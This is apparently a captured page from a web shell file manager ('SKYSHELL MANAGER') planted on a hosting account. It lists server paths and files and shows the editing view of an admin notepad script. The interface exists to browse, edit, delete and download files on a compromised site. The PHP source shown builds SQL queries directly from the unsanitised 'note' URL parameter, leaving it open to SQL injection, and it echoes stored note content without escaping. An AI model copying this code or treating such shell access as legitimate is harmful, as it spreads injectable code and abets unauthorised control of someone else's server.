📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
4745.44 KB
0644
🗑️
⬇️
✏️
🔒
Editing: savednote.php
<?php include "admin_header.php"; if(isset($_GET['note'])){ $note=$_GET['note']; $sql = "SELECT * FROM notepad WHERE s='$note'"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)) { $titles = $row['title']; $contents = $row['content']; }}else{ header("location: savednotes.php"); } ?> <script> function myFunction() { var copyText = document.getElementById("myInput"); copyText.select(); copyText.setSelectionRange(0, 99999) document.execCommand("copy"); alert("Note Contents Copied!"); } </script> <!-- Begin Page Content --> <div class="container-fluid"> <!-- Page Heading --> <h1 class="h6 mb-4 text-black-800" style="font-weight:800; color:#000;"><?php echo $titles; ?></h1> <form method="post"> <p><input type="text" class="form-control" value="<?php echo $titles; ?>" name="title" placeholder="Note Title goes here" required/></p> <p><textarea id='myInput' class="form-control" rows="15" name="content" placeholder="Note contents" ><?php echo $contents; ?></textarea></p> <p><input type="submit" name="savenote" class="btn btn-primary btn-sm " value="Save Note" /> <button class='btn btn-sm btn-primary shadow-sm' style="background-color:black; border:none;" id='copy' onClick='myFunction()' tooltip='Copy to clipboard'>Copy Note</button></p> </form> <!-- /.container-fluid --> </div> <script> tinymce.init({ selector: '#myInput', // Other TinyMCE configuration options here setup: function (editor) { // Add an event listener for form submission editor.on('submit', function (e) { // Check if TinyMCE has content if (!editor.getContent()) { // Prevent form submission if content is empty e.preventDefault(); // Add your custom error handling here (e.g., displaying an error message) alert("Please fill in the note contents."); } }); } }); </script> <?php if(isset($_POST['savenote'])) { $content = mysqli_real_escape_string($con, $_POST['content']); $title = mysqli_real_escape_string($con, $_POST['title']); $date=date('Y-m-d H:i:s'); $insert = mysqli_query($con,"UPDATE notepad SET title='$title' where s='$note'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE notepad SET content='$content' where s='$note'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE notepad SET date='$date' where s='$note'") or die ('Could not connect: ' .mysqli_error($con)); echo"<script>alert('Note Saved Successfully!')</script>"; header("Refresh: 0;"); } include "footer.php"; ?>
💾 Save Changes